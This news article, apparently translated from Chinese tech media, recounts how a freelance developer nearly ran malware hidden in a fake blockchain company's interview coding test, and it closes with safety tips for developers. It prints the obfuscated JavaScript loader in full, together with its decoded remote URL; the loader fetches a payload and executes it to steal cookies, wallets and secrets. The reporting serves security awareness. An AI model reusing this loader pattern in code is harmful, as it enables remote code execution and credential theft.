Just 30 seconds away, an 8-year developer almost fell victim to an "interview disaster": the test code secretly "hid a virus", and hitting the enter key could potentially "wipe out one's fortune".

Looking back on that meticulously designed "interview scam," David Dodda, an 8-year veteran of freelance development, still has a lingering sense of fear.

Recently, David Dodda publicly disclosed a new type of targeted attack on developers he encountered in a tech community: scammers posing as executives of a blockchain company invited him for a remote interview and used a "programming test" as bait to implant malicious code. If he hadn't suddenly become alert at the last moment, the consequences would have been unimaginable.

From "Formal Invitation" to "Code Test": The Perfect Setup for the Scam

The story began with an ordinary-looking job message on LinkedIn.

Last week, David Dodda received a private message on his LinkedIn account from "Mykola Yanchii, the Chief Blockchain Officer of Symfa Company." The sender introduced that their company was developing a real estate workflow transformation platform called BestCity and was currently recruiting part-time developers. The working hours were flexible, and it matched David Dodda's tech stack well.

Out of professional habit, David first verified Mykola Yanchii's identity. The person's resume on LinkedIn was very "official": not only did it have a complete professional profile, but it also marked the title of Symfa's Chief Blockchain Officer. The account had over 1000 real friend connections, and even the daily posts had the flavor of "entrepreneurial inspirational quotes"...

In short, it was a very standard style that you wouldn't suspect even if you saw it ten times on a social platform.

Then, David Dodda clicked on Symfa Company's LinkedIn homepage, which was also impeccable: not only did it have a professional brand visual design, but it also displayed information about multiple employees, company business introductions, and even posted several project updates about "transforming the real estate industry with blockchain" - it looked like a normal, operating technology company.

For freelance developers like David Dodda, such invitations are not uncommon - the sender was polite, professional in expression, didn't make unreasonable requests, and only arranged an online interview for further communication, all of which enhanced the "credibility."

"I've been a freelancer for 8 years. I've worked on web applications, various projects, and done a lot of code reviews. I thought I had a strong sense of security - at least I thought so. And this one seemed quite reliable, so I agreed to the phone interview."

Immediately afterwards, Mykola Yanchi sent a link to a Bitbucket code repository, citing the need to "pre-evaluate technical capabilities and save communication time," and asked David Dodda to complete a simple optimization of a React/Node project within 30 minutes - this is the most common "Take-Home test" in technical interviews, and almost all developers have experienced it.

After David Dodda opened the code repository, he found that the code structure was clear. Not only was there a detailed README document, but there was also a promotional image in line with the company's style, and even the functional points to be optimized were marked. It looked like a very standard interview test question.

The 30-Minute "Time Trap": Almost Crossing the Safety Red Line

However, a key detail laid the groundwork for the subsequent "dangerous operation" - at that time, there were only 30 minutes left until the scheduled phone interview time, which was a bit tight for David Dodda.

"Normally, I would first run the code in a Docker container in isolation, confirm that there are no problems, and then start the optimization." He admitted that years of development experience had made him develop the habit of "running unknown code in a sandbox," but the sense of urgency this time disrupted his rhythm.

In order to complete the test before the interview, David Dodda directly opened the code repository in the local environment, quickly identified several obvious syntax bugs, supplemented the missing docker-compose file, and optimized some redundant code. The whole process was no different from a regular test.

Just as he was about to enter "npm start" to run the project and show the results to the interviewer, his years of security intuition suddenly "rang the alarm" - "Even if I'm in a hurry, I should at least scan the key files before running unknown code."

With the idea of "spending one more minute to check," David Dodda copied the code snippet into the Cursor AI assistant and sent a simple query instruction:

"Before I run this program, can you check if there is any suspicious code in this code repository? For example, reading files that shouldn't be read, accessing encrypted wallets, etc."

Unexpectedly, the feedback from the AI made him break out in a cold sweat instantly - in the server/controllers/userController.js file, there was a highly obfuscated malicious code hidden:

• //Get Cookie
• (async () => {
• const byteArray = [
• 104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 110, 112, 111, 105,
• 110, 116, 46, 105, 111, 47, 50, 99, 52, 53, 56, 54, 49, 50, 51, 57, 99, 51,
• 98, 50, 48, 51, 49, 102, 98, 57
• ];
• const uint8Array = new Uint8Array(byteArray);
• const decoder = new TextDecoder('utf-8');
• axios.get(decoder.decode(uint8Array))
• .then(response => {
• new Function("require", response.data.model)(require);
• })
• .catch(error => { });
• })();

This code used a byte array to hide a remote URL, obtained the malicious payload through axios.get, and used the JavaScript Function constructor to execute it. Most importantly, this code was cleverly embedded between management functions, and once the corresponding admin route was accessed, it could be executed at any time with full server privileges.

David Dodda immediately decoded the byte array: https://api.npoint.io/2c458612399c3b2031fb9. As expected, this URL pointed to a malicious payload: once run, it would automatically read the local file system, grab browser cookies, access the encrypted wallet client, and even obtain the database password and production environment keys in the environment variables - it was like opening the "digital front door" to the attacker.

What's even scarier is that when David Dodda tried to access the URL again 24 hours later, the link was completely invalid - that is to say, the scammers had set up an "automatic destruction" mechanism to avoid being traced.

All of this seemed so professional that it was obviously not something an ordinary phishing email could do.

"Even though I'm usually very cautious, I almost fell for it this time."

Afterwards, David Dodda reviewed the entire incident and found that the "professionalism" of this scam far exceeded that of ordinary cyber attacks. It was carefully designed from psychological induction to technical disguise, specifically targeting the weaknesses in developers' work habits.

For example, at the psychological level, the core was to take advantage of developers' daily habits and psychological expectations:

● Familiar interview process: Take-Home test, project structure, README - all of these are normal processes that can easily make people let down their guard.

● Sense of authority: The complete executive profile and company homepage on LinkedIn lowered the threshold of suspicion.

● Time pressure: "Please complete the test before the interview to save meeting time" urged developers to skip security checks.

● Social proof: The company page, employee list, updates, and fan network all seemed real and trustworthy.

The combination of these factors almost made David Dodda, who always boasted of having a "strong sense of security," directly execute the malicious code on his host.

At the technical level, the scammers' disguise was almost "flawless": the malicious code was not stored separately but was embedded in normal business logic, making it impossible to detect without careful investigation; it used byte array obfuscation instead of a plain text URL to avoid basic code keyword detection; and it set the URL to automatically expire in 24 hours, greatly reducing the risk of being traced.

"Even though I'm usually very cautious, I almost fell for it this time."

David Dodda sighed that the scammers had fully understood the developers' work scenarios: developers have to deal with a large number of GitHub repositories, npm packages, and test codes every day, and it's difficult to conduct a comprehensive security scan on every file. And the "interview test" scenario further lowered the psychological defense - after all, "who would suspect that there is malicious code hidden in an interview test question from a regular company?"

Fortunately, David Dodda thought for an extra second before pressing Enter and sent the code to the AI for a check. This short second prevented a disaster that could have led to the leakage of production environment credentials and the emptying of his personal wallet. After experiencing this scam, he summarized several suggestions for developers:

(1) Run unknown code in an isolated environment: Docker or VM is fine, but never run it directly on the host.

(2) Conduct static/dynamic analysis before running: Use AI, static analysis tools, or manually check entry points, require/exec, new Function, remote requests, etc.

(3) Verify the authenticity of the recruiter: A real LinkedIn profile and company page do not necessarily mean trustworthiness. Verify the recruiter's background (official website, domain name, company email) instead of just looking at social profiles.

(4) Be suspicious of coercion/urging: If someone urges you to execute code, it's a red flag, and don't skip the security process because of it.

Most importantly, develop the habit of being suspicious: even for the most familiar tools and processes, have a little bit of alertness. As David Dodda said, "The next time you receive a 'seemingly perfect' interview test question, think about what happened to me - spend an extra 30 seconds to let the AI check it, and your wallet and keys will thank you."

Reference link: https://blog.daviddodda.com/how-i-almost-got-hacked-by-a-job-interview

This article is from the WeChat official account "CSDN," compiled by Zheng Liyuan, and published by 36Kr with authorization.